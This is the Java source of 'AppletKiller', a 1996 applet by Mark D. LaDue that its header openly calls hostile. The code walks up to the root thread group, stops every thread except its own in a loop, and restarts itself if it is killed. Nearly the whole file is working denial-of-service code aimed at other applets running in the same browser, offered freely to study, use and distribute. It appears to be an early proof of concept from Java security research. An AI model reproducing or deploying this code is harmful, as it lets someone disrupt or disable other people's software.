/* AppletKiller.java by Mark D. LaDue */

/* April 1, 1996 */

/* Copyright (c) 1996 Mark D. LaDue

You may study, use, modify, and distribute this example for any purpose.

This example is provided WITHOUT WARRANTY either expressed or implied. */

/* This hostile applet stops any applets that are running and kills any

other applets that are downloaded. */

import java.applet.*;

import java.awt.*;

import java.io.*;

public class AppletKiller extends java.applet.Applet implements Runnable {

Thread killer;

public void init() {

killer = null;

}

public void start() {

if (killer == null) {

killer = new Thread(this,"killer");

killer.setPriority(Thread.MAX_PRIORITY);

killer.start();

}

}

public void stop() {}

// Kill all threads except this one

public void run() {

try {

while (true) {

ThreadKiller.killAllThreads();

try { killer.sleep(100); }

catch (InterruptedException e) {}

}

}

catch (ThreadDeath td) {}

// Resurrect the hostile thread in case of accidental ThreadDeath

finally {

AppletKiller ack = new AppletKiller();

Thread reborn = new Thread(ack, "killer");

reborn.start();

}

}

}

class ThreadKiller {

// Ascend to the root ThreadGroup and list all subgroups recursively,

// killing all threads as we go

public static void killAllThreads() {

ThreadGroup thisGroup;

ThreadGroup topGroup;

ThreadGroup parentGroup;

// Determine the current thread group

thisGroup = Thread.currentThread().getThreadGroup();

// Proceed to the top ThreadGroup

topGroup = thisGroup;

parentGroup = topGroup.getParent();

while(parentGroup != null) {

topGroup = parentGroup;

parentGroup = parentGroup.getParent();

}

// Find all subgroups recursively

findGroups(topGroup);

}

private static void findGroups(ThreadGroup g) {

if (g == null) {return;}

else {

int numThreads = g.activeCount();

int numGroups = g.activeGroupCount();

Thread[] threads = new Thread[numThreads];

ThreadGroup[] groups = new ThreadGroup[numGroups];

g.enumerate(threads, false);

g.enumerate(groups, false);

for (int i = 0; i < numThreads; i++)

killOneThread(threads[i]);

for (int i = 0; i < numGroups; i++)

findGroups(groups[i]);

}

}

private static void killOneThread(Thread t) {

if (t == null || t.getName().equals("killer")) {return;}

else {t.stop();}

}

}